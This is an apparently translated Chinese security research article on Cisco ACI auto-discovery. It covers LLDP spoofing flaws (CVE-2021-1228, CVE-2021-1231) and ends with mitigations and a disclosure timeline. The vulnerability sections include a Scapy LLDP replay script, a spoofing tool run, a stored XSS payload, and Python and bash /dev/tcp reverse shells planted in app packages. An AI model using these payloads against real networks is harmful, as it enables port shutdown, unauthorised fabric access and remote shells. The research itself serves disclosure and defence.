深入分析Cisco ACI中因LLDP处理不当所致的安全漏洞

在本文中，我们将为读者详细介绍Cisco ACI的自动发现和初始化机制，以及我们在对其进行安全评估中发现安全漏洞（包括CVE-2021-1228和CVE-2021-1231）。

需要说明的是，我们的安全测试都是在.14.2(4i)版本上进行的，相关设备包括：

· 14.2(4i)版本的Nexus 9000交换机；

· 4.2(4i)版本的APIC控制器。

关于ACI

首先，ACI是Application Centric Infrastructure的缩写。它是思科的SDN（Software Defined Networking，即软件定义网络）解决方案。该解决方案是思科收购Insieme公司之后推出的一种策略驱动的解决方案，其中整合了各种软件和硬件。ACI为IT创建基于策略的通用框架提供了一种简便的方法，特别是在不同的应用、网络和安全领域。它是由一套基于策略的或策略驱动的准则或规则组成，这些准则或规则决定了行动的方向。

在ACI中，硬件由呈叶脊拓扑结构的Cisco Nexus 9000系列交换机和应用策略基础架构控制器（APIC）组成。这套设备被Cisco称为Fabric。APIC负责为ACI Fabric中的每台交换机管理和推送策略。其中，没有任何配置被绑定到设备上。APIC是所有策略的中央存储库，并能够根据需要部署、停用和重新部署交换机。

简而言之，ACI将网络管理员习惯于在X组件（交换机、路由器等）上复制的所有配置都集中到了一个地方。

ACI Fabric的拓扑结构如下所示：

ACI的拓扑结构

ACI由以下构件组成：

    思科应用策略基础架构控制器(APIC)

        连接到1或2个Leaf节点

    为Cisco ACI配置的Cisco Nexus 9000交换机

        在Spine模式下

            绝对不要直接连接到另一个Spine（否则，LLDP和MCP将关闭）

            连接到每个Leaf节点

        在Leaf模式

            不要与另一个Leaf直接相连

            连接到每个Spine

            连接到终端设备和入站LAN 

其他一些构件可以选择性地添加到Fabric中，例如ACI Multi-Site Orchestrator或Cloud APIC。

APIC

基础设施控制器是Cisco ACI解决方案的主要架构组件。它将Cisco ACI Fabric、策略执行和运行状况监视的自动化和管理统一了起来。APIC设备是一个集中式集群控制器，不仅可以优化性能，并将物理和虚拟环境的操作统一了起来。该控制器可用于管理和操作可扩展的多租户Cisco ACI Fabric。

APIC的主要功能包括：

· 以应用程序为中心的网络政策

· 基于数据模型的声明式配置

· 应用和拓扑的监测与故障排除

· 第三方集成

· 第4层到第7层（L4-L7）服务

· VMware vCenter与vShield

· Microsoft Hyper-V、System Center Virtual Machine Manager (SCVMM)与Azure Pack

· 开放式虚拟交换机（OVS）与OpenStack

· Kubernetes、RedHat OpenShift、Docker Enterprise

· 映像管理

· Cisco ACI清单与配置

· 基于跨设备集群的分布式框架的实现

· 关键管理对象（租户、应用程序配置文件、交换机等）的运行状况评分

· 故障、事件和性能管理

· Cisco Application Virtual Edge，可用作虚拟Leaf交换机

控制器框架实现了与Cisco ACI的广泛生态系统和行业互操作性。它实现了Cisco ACI环境与来自众多供应商的管理、协调、虚拟化和L4-L7服务之间的互操作性。

工作原理

Fabric的自动发现机制

ACI的目标之一是使部署和配置新网络设备的任务变得更加轻松。当一台新的交换机被添加到Fabric中时，除了从APIC管理界面对新设备进行授权外，管理员无需做其他任何事情。那么，它是如何工作的呢？

首先，Fabric中的每个设备都会使用LLDP协议来发现对方。在默认情况下，它们每30秒就广播一个LLDP数据包。而LLDP数据包由若干个类型-长度-值（TLV）字段组成，其中包含各种信息，如型号、序列号、固件版本、VLAN id或节点内部IP。例如，下面是一个Leaf发送的数据包。

来自充当Leaf节点的Nexus交换机的LLDP数据包

这些LLDP数据包会在每个交换机的每个接口上进行广播，无论其状态如何。这意味着直接连接到Leaf接口的设备都会收到这些信息，从而获悉ACI设备的存在。当一个从未被Fabric看到过的新节点或控制器连接到Leaf或Spine接口时，将执行以下步骤：

· 该设备将广播其LLDP数据包，包含其固件版本、序列号和TLV的ACI Node Role（定义其在Fabric中的未来角色）。其中，值0表示设备是APIC，1是Leaf，2是Spine。

· 如果是Leaf或Spine节点，APIC管理界面就会建议管理员将新设备添加到Fabric中。

· 只要管理员将新设备添加到Fabric中，接口就会切换到内部VLAN。（一个新的APIC不需要管理员批准就可以和内部网络进行通信，这一点会在下面介绍）

· 交换机将把从新设备收到的每一个DHCP请求转发到第一个APIC，自己则充当DHCP服务器。新设备将在DHCP响应中收到它的新主机名。

· 新的APIC将通过HTTP从第一个APIC设备中检索最新的固件、设备包和应用程序。

· 新节点开始使用网内消息协议（IFM）与Fabric进行通信。

然后，只要一个节点能够通过IFM与APIC交换心跳，它就被认为是活跃的。 

下面的模式总结了APIC的发现过程。

APIC的发现流程  (https://www.ciscolive.com/c/dam/r/ciscolive/emea/docs/2015/pdf/BRKACI-2333.pdf)

新的交换机或控制器可以很容易地加入Fabric，而无需验证其序列号或证书，因为Fabric的安全模式的默认设置为“Permissive”。与Strict模式不同的是，它不强制执行基于序列号的授权，即使交换机出示的证书无效，也不会被停止。

Strict模式和Permissive模式的区别(https://www.cisco.com/c/en/us/td/docs/switches/datacenter/aci/apic/sw/1-x/aci-fundamentals/b_ACI-Fundamentals/b_ACI-Fundamentals_chapter_010011.html)

由于这些原因，我们强烈建议管理员在每台交换机被发现并纳入Fabric后立即配置为Strict模式。

为此，可以在重启前在APIC上执行以下命令：

apic1# config 
apic1(config)# system fabric-security-mode strict

一旦新的交换机或APIC被纳入Fabric中，它将开始通过Inter-Fabric Messaging（IFM）协议进行通信。

内部通信（IFM）

Fabric内的每项配置和策略交换都需要用到Inter-Fabric Messaging（IFM）协议。实际上，IFM总是封装在一个SSL隧道内。

例如，在第一次配置一个新的APIC时，APIC通过LLDP广播其存在后，Fabric中的第一个APIC将尝试与新APIC的12567端口建立SSL连接（使用服务svc_ifc_appliancedirectorservice）。客户端和服务器都将提供一个由Cisco CA签署的证书链（Cisco Root CA 2048 => Cisco Manufacturing CA => APIC-SERVER）。 

这两个证书都是预装在设备上的，并且对于Fabric中的每个设备来说都是不同的，因为证书的CommonName中包含节点的序列号。实际上，即使具有Cisco APIC管理员访问权限的攻击者也无法轻易检索这些证书的私钥，因为他首先需要将权限提升为root级别。每个设备上都有大量的IFM端口在监听。例如，在我们实验室的APIC上，发现下列端口处于监听状态：

$ netstat -letuna|grep 600
tcp        0      0 10.0.0.1:12471          0.0.0.0:*               LISTEN      600        41721    
tcp        0      0 10.0.0.1:12215          0.0.0.0:*               LISTEN      600        37527    
tcp        0      0 10.0.0.1:12119          0.0.0.0:*               LISTEN      600        25200    
tcp        0      0 10.0.0.1:13079          0.0.0.0:*               LISTEN      600        42861    
tcp        0      0 10.0.0.1:13175          0.0.0.0:*               LISTEN      600        16327    
tcp        0      0 10.0.0.1:12343          0.0.0.0:*               LISTEN      600        128041   
tcp        0      0 10.0.0.1:12983          0.0.0.0:*               LISTEN      600        128037   
tcp        0      0 10.0.0.1:12727          0.0.0.0:*               LISTEN      600        41559    
tcp        0      0 10.0.0.1:12951          0.0.0.0:*               LISTEN      600        125031   
tcp        0      0 10.0.0.1:13143          0.0.0.0:*               LISTEN      600        41555    
tcp        0      0 10.0.0.1:12247          0.0.0.0:*               LISTEN      600        45680    
tcp        0      0 10.0.0.1:12375          0.0.0.0:*               LISTEN      600        906      
tcp        0      0 10.0.0.1:12759          0.0.0.0:*               LISTEN      600        40624    
tcp        0      0 10.0.0.1:13271          0.0.0.0:*               LISTEN      600        40620    
tcp        0      0 10.0.0.1:12311          0.0.0.0:*               LISTEN      600        38700    
tcp        0      0 10.0.0.1:12472          0.0.0.0:*               LISTEN      600        41722    
tcp        0      0 10.0.0.1:12216          0.0.0.0:*               LISTEN      600        37528    
tcp        0      0 10.0.0.1:12120          0.0.0.0:*               LISTEN      600        25201    
tcp        0      0 10.0.0.1:13080          0.0.0.0:*               LISTEN      600        42862    
tcp        0      0 10.0.0.1:13176          0.0.0.0:*               LISTEN      600        16328    
tcp        0      0 10.0.0.1:12344          0.0.0.0:*               LISTEN      600        128042   
tcp        0      0 10.0.0.1:12984          0.0.0.0:*               LISTEN      600        128038   
tcp        0      0 10.0.0.1:12728          0.0.0.0:*               LISTEN      600        41560    
tcp        0      0 10.0.0.1:12952          0.0.0.0:*               LISTEN      600        125032   
tcp        0      0 10.0.0.1:13144          0.0.0.0:*               LISTEN      600        41556    
tcp        0      0 10.0.0.1:12248          0.0.0.0:*               LISTEN      600        45681    
tcp        0      0 10.0.0.1:12376          0.0.0.0:*               LISTEN      600        907      
tcp        0      0 10.0.0.1:12760          0.0.0.0:*               LISTEN      600        40625    
tcp        0      0 10.0.0.1:13272          0.0.0.0:*               LISTEN      600        40621    
tcp        0      0 10.0.0.1:12312          0.0.0.0:*               LISTEN      600        38701

对于上面的每一个端口，都需要客户端提供有效的链式证书才能建立通信。

存在的安全问题

已经发现的安全漏洞

实际上，来自ERNW的两位安全研究人员：Oliver Matula博士和Frank Block，已经对Cisco的ACI解决方案的安全测试做了大量的工作。

至少，在白皮书中已经提到了6个CVE：

· CVE-2019-1836：符号链接路径遍历漏洞；

· CVE-2019-1803：Root级权限提升漏洞；

· CVE-2019-1804：默认SSH密钥。以上3个CVE的组合可导致Leaf交换机能通过本地SSH服务器在IPv6上进行远程代码执行攻击；

· CVE-2019-1890：Fabric基础架构VLAN未经授权访问漏洞，或者说一个简单的LLDP欺骗可以改变一个Leaf的端口，使其被视为Fabric的内部端口；

· CVE-2019-1901：Link Layer Discovery Protocol缓冲区溢出漏洞；

· CVE-2019-1889：REST API提权漏洞。

虽然这些CVE在14.1(1i)版本中应该已经被修复，但我们注意到Fabric基础架构VLAN未经授权访问漏洞(CVE-2019-1890)在14.2(4i)版本中仍然存在，只是情况稍有不同。同时，我们还发现了一个新的拒绝服务漏洞。

端口拒绝服务与CVE-2019-1890

我们知道，Leaf节点应在其SFP接口上与APIC控制器交互，并在其QSFP接口上与其他交换机进行交互。每个与ACI Fabric通信的In-Bound主机都会有流量通过SFP接口。

另外，Leaf交换机不仅信任LLDP数据包的内容，同时，它还信任从未知设备发送的欺骗性LLDP数据包。因此，只要监控网络一分钟左右，等待一个合法的LLDP数据包，就可以轻松收集到制作这个数据包的强制性TLV。事实上，默认的LLDP策略对接收方和收发方都设置为ON。因此，Fabric的每个设备每30秒就会发送LLDP数据包。

如果设备与ACI的Leaf节点的SFP接口有直接链接，并发送一个TLV的ACI Node Role”设置为1（Leaf）或2（Spine）、TLV的“ACI Port mode”设置为0的LLDP数据包，该端口将被设置为发现状态，并禁用交换功能。发生这种行为是因为交换机不希望从其SFP端口上的交换机接收LLDP数据包。

受影响端口的Apic管理视图

在LLDP数据包的TTL值中定义的时间段内，该端口将被禁用。

举个例子，可以在Python脚本中使用Scapy库来发送数据包，具体如下所示：

$ hexdump lldp_packet
0000000 c3d4 a1b2 0002 0004 0000 0000 0000 0000
0000010 ffff 0000 0001 0000 71b3 5ebd 80fb 0004
0000020 0159 0000 0159 0000 8001 00c2 0e00 27b8
0000030 b1eb f335 cc88 0702 b804 eb27 35b1 04f3
0000040 0708 7445 3168 322f 0631 0002 fe10 0006
0000050 4201 00d8 fe00 0005 4201 01ca 0000    
000005e
 
$ cat replay.py
from scapy.all import *
file = sys.argv[1]
iface = sys.argv[2]
packet = rdpcap(file)
sendp(packet, iface=iface)
 
$ sudo python replay.py lldp_packet eth0
Sent 1 packets.
 
# The gateway does not respond anymore, the port shut down.
$ ping 10.10.10.1
PING 10.10.10.1 (10.10.10.1) 56(84) bytes of data.
From 10.10.10.10 icmp_seq=1 Destination Host Unreachable
From 10.10.10.10 icmp_seq=2 Destination Host Unreachable
From 10.10.10.10 icmp_seq=3 Destination Host Unreachable

这意味着与Cisco ACI Fabric中的交换机的SFP接口有直接链接的每台设备都可以完全禁用它所连接的端口。因此，使用同一端口的其他设备也会受到影响。

这个漏洞已报告给Cisco公司，相应的编号为CVE-2021-1231，并已在版本14.2(5L)中进行了修复。 (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apic-lldap-dos-WerV9CFj)

但是，如果某设备在SFP接口上发送TLV的“ACI Node Role”设置为0（APIC）的LLDP数据包，会发生什么情况呢？

实际上，结果要糟糕得多，CVE-2019-1890漏洞就是属于这种情况。

攻击发生前，Leaf交换机端口的状态为：

LEAF_2# show interface Eth1/5 switchport
Name: Ethernet1/5
Switchport: Enabled
Switchport Monitor: not-a-span-dest
Operational Mode: trunk
Access Mode Vlan: 14 (default)
Trunking Native Mode VLAN: 14 (default)
Trunking VLANs Allowed: 13-14

并且，该Infra VLAN只包含一个端口(ETH1/1)：

LEAF_2# show vlan id 20 extended

VLAN Name                             Encap            Ports                   
---- -------------------------------- ---------------- ------------------------
20   infra:default                    vxlan-16777209,  Eth1/1         
                                      vlan-4

发生LLDP欺骗前的状态 

在连接到ETH1/5的设备上，我们运行了与CVE-2019-1890基本相同的漏洞利用代码，不同之处只是TLV的“ACI Node Role”设置为0(APIC)，ACI Infra VLAN设置为4：

$ sudo ./lldp_spoof.py eth0 4
[*] Packet LLDP sent!

发生攻击后的Leaf端口被切换到infra模式和内部VLAN：

LEAF_2# show interface Eth1/5 switchport
Name: Ethernet1/5
  Switchport: Enabled
  Switchport Monitor: not-a-span-dest
  Operational Mode: trunk
  Access Mode Vlan: unknown (default)
  Trunking Native Mode VLAN: unknown (default)
  Trunking VLANs Allowed: 20
 
 
LEAF_2# show vlan id 20 extended
VLAN Name                             Encap            Ports                   
---- -------------------------------- ---------------- ------------------------
20   infra:default                    vxlan-16777209,  Eth1/1, Eth1/5          
                                      vlan-4

发生LLDP欺骗后的状态

配置正确的802.1Q标签后，Fabric内部VLAN就可以被未知设备访问了：

$ sudo ip link add link eth0 name eth0.4 type vlan id 4
$ sudo ifconfig eth0.4 10.0.0.4/8 up
$ sudo ip r a default dev eth0.4
$ ping LEAF
PING 10.0.104.64 (10.0.104.64) 56(84) bytes of data.
64 bytes from 10.0.104.64: icmp_seq=1 ttl=64 time=1.30 ms

由此看来，CVE-2019-1890漏洞要么没有被正确修复，要么在思科发布的第一个补丁中并没有正确找出漏洞的根本原因。

这个漏洞已经报告给了Cisco公司，编号为CVE-2021-1228，并在14.2(5l)版本中得到了相应的修复。 (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-n9kaci-unauth-access-5PWzDx2w)

攻击者让一个设备加入内部VLAN后，他能做什么呢？

首先，除了他所连接的Leaf节点外，他将无法到达Fabric内部的任何设备。由于ACI并不认为该设备是Fabric的一部分，所以不会在其他交换机上配置任何路由。

不过，他可以用UDP VXLAN数据包与Leaf节点上暴露的隧道端点（TEP）进行交互，并发送任意的数据包到任何连接到Fabric的外部设备。ERNW白皮书中已经描述了这种攻击。然而，由于受到一个8位数的数字（VXLAN网络标识符）的限制，而且由于另一端不存在路由，因此通信只能是单向的。

另外，Leaf节点上运行的服务也是处于暴露状态的。但是，每一个服务都需要进行认证，也就是需要用到Cisco CA签名的证书或有效的管理凭据。

$ nmap -sV -p- 10.0.104.64
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 17:15 CEST
Nmap scan report for 10.0.104.64
Host is up (0.00020s latency).
Not shown: 65513 closed ports
PORT  STATE SERVICE
22/tcp    open  ssh                 syn-ack OpenSSH 7.8 (protocol 2.0)
443/tcp   open  ssl/https           syn-ack Cisco APIC
7777/tcp  open  cbt?                syn-ack
8000/tcp  open  http-alt?           syn-ack
8002/tcp  open  ssl/teradataordbms? syn-ack
8009/tcp  open  ssl/ajp13?          syn-ack
12119/tcp open  ssl/unknown         syn-ack
12120/tcp open  ssl/unknown         syn-ack
12151/tcp open  ssl/unknown         syn-ack
12152/tcp open  ssl/unknown         syn-ack
12183/tcp open  ssl/unknown         syn-ack
12184/tcp open  ssl/unknown         syn-ack
12407/tcp open  ssl/unknown         syn-ack
12408/tcp open  ssl/unknown         syn-ack
12439/tcp open  ssl/unknown         syn-ack
12440/tcp open  ssl/unknown         syn-ack
12887/tcp open  ssl/unknown         syn-ack
12888/tcp open  ssl/unknown         syn-ack
12919/tcp open  ssl/unknown         syn-ack
12920/tcp open  ssl/unknown         syn-ack
13015/tcp open  ssl/unknown         syn-ack
13016/tcp open  ssl/unknown         syn-ack
Nmap done: 1 IP address (1 host up) scanned in 22.68 seconds

· 22端口是OpenSSH服务器，443端口是Object Store。这两个端口都需要管理员凭证。

· 端口7777是Nginx的Rest API。它需要一个有效的管理员cookie。

· 从8000到8009之间的端口需要一个Cisco CA签名的客户端证书。

· 从12119到13016的较高端口用于Fabric内部的消息通信。

攻击不会立即使Fabric处于危险之中，但是会大大扩大潜在的攻击面。

基于这些原因，我们建议一旦发现Fabric中的每个设备，就升级到14.2(5l)版本，或者在Leaf接入端口策略中把每个Leaf节点的LLDP策略设置为“Off”。这样一来，每台交换机都将停止向每个接口广播LLDP数据包，来自未知设备的LLDP数据包将被直接忽略。

该漏洞的披露时间线：

· 6月30日：向思科提交2个LLDP漏洞。

· 9月15日：思科确认了这些漏洞，并发布了修复这些漏洞的14.2(5l)版本。

· 12月3日：分配漏洞编号CVE-2021-1228和CVE-2021-1231。

· 2月24日：思科发布公告。

进一步研究 

在同一份白皮书中还描述了一个CVE-2019-1889漏洞，该漏洞已经在之前的软件版本中正确地修复了。目录遍历漏洞实际上是不可利用的，但签名问题仍然是值得关注的。

我们知道，APIC上可以安装应用程序或服务引擎（4-7层设备）。这两种功能都可以通过APIC Web界面安装，而且这两种功能基本上都是ZIP文件，其中可以包含XML、HTML、Python等……

合法的应用程序可以在https://dcappcenter.cisco.com/处找到。例如，您可以下载Policy Viewer程序（https://dcappcenter.cisco.com/policy-viewer.html）并在app.html文件中添加存储型XSS：

$ cat Cisco_PolicyViewer/UIAssets/app.html
content="width=device-width,initial-scale=1,shrink-to-fit=no"/>
Viewer

部署生成的应用程序时，并不会触发任何错误：

应用程序安装成功 

然后，一旦操作员访问应用程序UI，就会执行代码< script >alert(document.domain);< /script >，具体如下所示：

弹出了一个报警窗口，表明XSS已被触发 

实际上，同样的测试也可以用设备包来完成，例如asa-device-pkg-1.3.12.3.zip包。下面，让我们将反向shell存储到Python代码中： 

import socket,subprocess,os
import pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

同样，当包被部署时，并没有看到任何错误消息。一旦部署完成，插入的代码就会被触发，并获得一个反向的shell，但是……这里的用户为

nobody：
admin@apic1:~> socat - TCP-LISTEN:12345
ls
bin dev etc install lib lib64 logs pipe sbin tmp usr venv
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

另外，有些程序还部署了docker容器，比如应用程序InfobloxSync：https://dcappcenter.cisco.com/infobloxsync.html。

如果我们检查该应用的内容，就会看到：

$ ls */*
Cisco_InfobloxSync/app.json
 
Cisco_InfobloxSync/Image:
aci_appcenter_docker_image_v2.tgz
 
Cisco_InfobloxSync/Media:
License  Readme
 
Cisco_InfobloxSync/Service:
app.py               Infoblox_DB_sync_14.py  InfobloxTools.pyc  schema.py   settings.py   start.sh                 validateConnection02.pyc
Infoblox_DB_sync_14  InfobloxTools.py        my_db.sqlite       schema.pyc  settings.pyc  validateConnection02.py
 
Cisco_InfobloxSync/UIAssets:
app.html  app-start.html  asset-manifest.json  favicon.ico  images  InfobloxLogo.png  service-worker.js  static
 
存在过一aci_appcenter_docker_image_v2.tgz锉刀、包含：
 
$ ls *
b87debb6eaf180f989ed24b2dcfe9ef71bf7007d3853cf96c85477b4da7fe701.json  manifest.json  repositories
 
051e281057ec3ce691d8ac90d4194b8c2530ec1867b674d3e3a303affc7f7dc5:
json  layer.tar  VERSION
 
38e1eee9f579b0781680a92492906eb1b45455dcee38c4cf8439c2702d60f35a:
json  layer.tar  VERSION
 
3f978a74fbe136262600e4b78bdd1629c86a858166827cfd1fa9e90143ba8876:
json  layer.tar  VERSION
 
701f643eefd90a50e8dcade7405e7459b146c4be8a4d0d74c991f5d7a4dda56d:
json  layer.tar  VERSION
 
9d4e5244486b622df965c76c5e83a71e0a462c125ceb0683c2c712445d305b89:
json  layer.tar  VERSION
 
a40333597e2a57a840bc755ca08d5a51ac0ed76337dc346d4cefa1a5e1dd5eac:
json  layer.tar  VERSION

起初，我们认为很有希望。我们修改了应用程序的启动脚本的下面一行内容：

/bin/bash -i >& /dev/tcp/172.17.0.1/12345 0>&1

然后启用应用程序，我们就获得一个shell，并且用户为root……并且，这还是在一个隔离良好的容器内：

admin@apic1:~> socat - TCP-LISTEN:12345
bash: no job control in this shell
 
root@bd95ab2db8c1:/# id && uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux bd95ab2db8c1 4.14.164atom-2 #1 SMP Tue Feb 11 05:07:18 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

我们认为，目前仍然可以通过这种方式完成一些有趣的事情，并且安装外部软件包可能成为攻击者进入Cisco Fabric的切入点。

出于这个原因，我们建议大家只下载和部署来自思科官方商店的应用程序，其地址为https://dcappcenter.cisco.com/。

小结

总的来说，Cisco ACI是一个构建良好且比较安全的SDN解决方案。但是通常情况下，一个复杂的系统总是免不了出现一些安全漏洞。并且，有时漏洞的补丁程序无法彻底的修复漏洞。

为了提高ACI的安全性，我们建议：

· 将Fabric的发现机制配置Strict模式。

· 在Leaf接入端口策略中，将每个Leaf的LLDP策略设置为“Off”。

· 将Nexus 9k至少升级到14.2(5l)版本。

· 只下载和部署从思科官方应用商店中下载的应用。

请注意，前2个建议可能会使拓扑结构的修改变得更加繁琐。

参考资料

https://www.sdxcentral.com/data-center/definitions/what-is-cisco-aci/

https://i.blackhat.com/USA-19/Wednesday/us-19-Matula-APICs-Adventures-In-Wonderland.pdf

https://static.ernw.de/whitepaper/ERNW_Whitepaper68_Vulnerability_Assessment_Cisco_ACI_signed.pdf